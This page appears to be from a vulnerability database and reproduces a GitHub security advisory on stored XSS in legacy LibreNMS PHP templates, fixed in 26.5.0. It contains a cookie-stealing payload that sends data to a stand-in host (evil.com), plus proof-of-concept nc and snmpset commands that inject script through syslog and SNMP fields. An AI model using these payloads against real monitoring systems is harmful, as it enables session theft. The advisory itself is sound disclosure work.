GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-7W8C-QGXG-M7JX

Vulnerability from github – Published: 2026-08-26 18:05 – Updated: 2026-08-26 18:05
VLAI
Summary
LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates
Details

Summary

Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.

Vulnerable Code

Location 1: Syslog program field (clearest instance)

File: includes/html/print-syslog.inc.php:11,13

$syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';

The program field is output without htmlspecialchars() while the adjacent msg field IS properly escaped. The program value comes from syslog messages received from monitored devices.

Location 2: Alert details ifAlias (highest impact — main alerts page)

File: includes/html/functions.inc.php:607

$fault_detail .= $tmp_alerts['ifAlias'] . '; ';

The ifAlias (port description) comes from SNMP polling and is stored in the ports table. When a port-related alert fires, format_alert_details() renders it unescaped. Multiple other fields in this function are also unescaped: isisISAdjIPAddrAddress (line 598), service_desc/service_message (lines 656,658), bgpPeerDescr (line 672), mempool_descr (line 686), app_type (line 709).

Location 3: Health pages — mempool_descr, storage_descr, sensor_descr

File: includes/html/pages/device/health/mempool.inc.php:38

echo "<h3 class='panel-title'>{$mempool->mempool_descr} ...";

File: includes/html/pages/device/health/storage.inc.php:27

echo "<h3 class='panel-title'>{$drive['storage_descr']} ...";

File: includes/html/pages/device/health/sensors.inc.php:29

echo "<h3 class='panel-title'>$sensor_descr ...";

All three health page templates output SNMP-polled descriptions directly into <h3> tags without escaping.

Location 4: Pseudowires ifAlias

File: includes/html/pages/pseudowires.inc.php:76

echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>';

Location 5: VRF page ifAlias

File: includes/html/pages/routing/vrf.inc.php:165

echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>';

Data Flow

Attacker-controlled SNMP device/syslog source
  → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)
  → OR syslog receiver stores program field in syslog table
  → Authenticated user views alerts/health/syslog page
  → Legacy PHP template echoes raw value into HTML
  → XSS executes in victim's browser session

Attack Scenario

  1. Attacker compromises or controls a network device monitored by LibreNMS
  2. Attacker configures the device's SNMP interface description (ifAlias) to: <img src=x onerror="fetch('https://evil.com/'+document.cookie)">
  3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the ports table
  4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page
  5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page

PoC

Syslog vector (simplest)

# Send syslog message with XSS in program field
# Assuming LibreNMS syslog receiver is at 10.0.0.1:514
echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514

SNMP vector

# On attacker-controlled SNMP device, set interface description:
# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>'
# LibreNMS will poll this during next discovery/polling cycle

Contrast with Properly Escaped Code

Newer Blade templates and some legacy code properly escape SNMP data: - includes/html/dev-overview-data.inc.php uses Clean::html() for sysDescr, sysName, hardware - app/Http/Controllers/Device/Tabs/PortsController.php uses htmlentities() on ifAlias - app/Http/Controllers/Table/EventlogController.php:97 uses htmlspecialchars() on message - All Blade templates use {{ }} auto-escaping

The vulnerability exists specifically in the legacy includes/html/ PHP files that have not been migrated to Blade.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-26T18:05:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nMultiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.\n\n## Vulnerable Code\n\n### Location 1: Syslog `program` field (clearest instance)\n\n**File:** `includes/html/print-syslog.inc.php:11,13`\n\n```php\n$syslog_output .= \u0027\u003ctd\u003e\u003cstrong\u003e\u0027 . $entry[\u0027program\u0027] . \u0027 : \u003c/strong\u003e \u0027 . htmlspecialchars((string) $entry[\u0027msg\u0027]) . \u0027\u003c/td\u003e\u0027;\n```\n\nThe `program` field is output without `htmlspecialchars()` while the adjacent `msg` field IS properly escaped. The `program` value comes from syslog messages received from monitored devices.\n\n### Location 2: Alert details `ifAlias` (highest impact \u2014 main alerts page)\n\n**File:** `includes/html/functions.inc.php:607`\n\n```php\n$fault_detail .= $tmp_alerts[\u0027ifAlias\u0027] . \u0027; \u0027;\n```\n\nThe `ifAlias` (port description) comes from SNMP polling and is stored in the `ports` table. When a port-related alert fires, `format_alert_details()` renders it unescaped. Multiple other fields in this function are also unescaped: `isisISAdjIPAddrAddress` (line 598), `service_desc`/`service_message` (lines 656,658), `bgpPeerDescr` (line 672), `mempool_descr` (line 686), `app_type` (line 709).\n\n### Location 3: Health pages \u2014 `mempool_descr`, `storage_descr`, `sensor_descr`\n\n**File:** `includes/html/pages/device/health/mempool.inc.php:38`\n```php\necho \"\u003ch3 class=\u0027panel-title\u0027\u003e{$mempool-\u003emempool_descr} ...\";\n```\n\n**File:** `includes/html/pages/device/health/storage.inc.php:27`\n```php\necho \"\u003ch3 class=\u0027panel-title\u0027\u003e{$drive[\u0027storage_descr\u0027]} ...\";\n```\n\n**File:** `includes/html/pages/device/health/sensors.inc.php:29`\n```php\necho \"\u003ch3 class=\u0027panel-title\u0027\u003e$sensor_descr ...\";\n```\n\nAll three health page templates output SNMP-polled descriptions directly into `\u003ch3\u003e` tags without escaping.\n\n### Location 4: Pseudowires `ifAlias`\n\n**File:** `includes/html/pages/pseudowires.inc.php:76`\n```php\necho \"\u003ctr ...\u003e\u003ctd colspan=2\u003e\" . $pw_a[\u0027ifAlias\u0027] . \u0027\u003c/td\u003e\u003ctd colspan=2\u003e\u0027 . $pw_b[\u0027ifAlias\u0027] . \u0027\u003c/td\u003e\u003c/tr\u003e\u0027;\n```\n\n### Location 5: VRF page `ifAlias`\n\n**File:** `includes/html/pages/routing/vrf.inc.php:165`\n```php\necho \"\u003cdiv style=\u0027font-size: 9px;\u0027\u003e\" . substr((string) short_port_descr($port[\u0027ifAlias\u0027]), 0, 22) . \u0027\u003c/div\u003e\u0027;\n```\n\n## Data Flow\n\n```\nAttacker-controlled SNMP device/syslog source\n  \u2192 SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)\n  \u2192 OR syslog receiver stores program field in syslog table\n  \u2192 Authenticated user views alerts/health/syslog page\n  \u2192 Legacy PHP template echoes raw value into HTML\n  \u2192 XSS executes in victim\u0027s browser session\n```\n\n## Attack Scenario\n\n1. Attacker compromises or controls a network device monitored by LibreNMS\n2. Attacker configures the device\u0027s SNMP interface description (ifAlias) to: `\u003cimg src=x onerror=\"fetch(\u0027https://evil.com/\u0027+document.cookie)\"\u003e`\n3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the `ports` table\n4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page\n5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page\n\n## PoC\n\n### Syslog vector (simplest)\n```bash\n# Send syslog message with XSS in program field\n# Assuming LibreNMS syslog receiver is at 10.0.0.1:514\necho \u0027\u003c14\u003eMar 20 12:00:00 rogue-device \u003cimg/src=x onerror=alert(document.domain)\u003e: test message\u0027 | nc -u 10.0.0.1 514\n```\n\n### SNMP vector\n```bash\n# On attacker-controlled SNMP device, set interface description:\n# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s \u0027\u003cimg src=x onerror=alert(document.cookie)\u003e\u0027\n# LibreNMS will poll this during next discovery/polling cycle\n```\n\n## Contrast with Properly Escaped Code\n\nNewer Blade templates and some legacy code properly escape SNMP data:\n- `includes/html/dev-overview-data.inc.php` uses `Clean::html()` for sysDescr, sysName, hardware\n- `app/Http/Controllers/Device/Tabs/PortsController.php` uses `htmlentities()` on ifAlias\n- `app/Http/Controllers/Table/EventlogController.php:97` uses `htmlspecialchars()` on message\n- All Blade templates use `{{ }}` auto-escaping\n\nThe vulnerability exists specifically in the legacy `includes/html/` PHP files that have not been migrated to Blade.",
  "id": "GHSA-7w8c-qgxg-m7jx",
  "modified": "2026-08-26T18:05:46Z",
  "published": "2026-08-26T18:05:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-7w8c-qgxg-m7jx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/pull/19660"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/commit/6782af940c3c495755923b520a302f3a1cb1ce6b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/releases/tag/26.5.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/releases/tag/26.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LibreNMS \u2014 Stored XSS via SNMP/Syslog Data in Legacy Templates"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…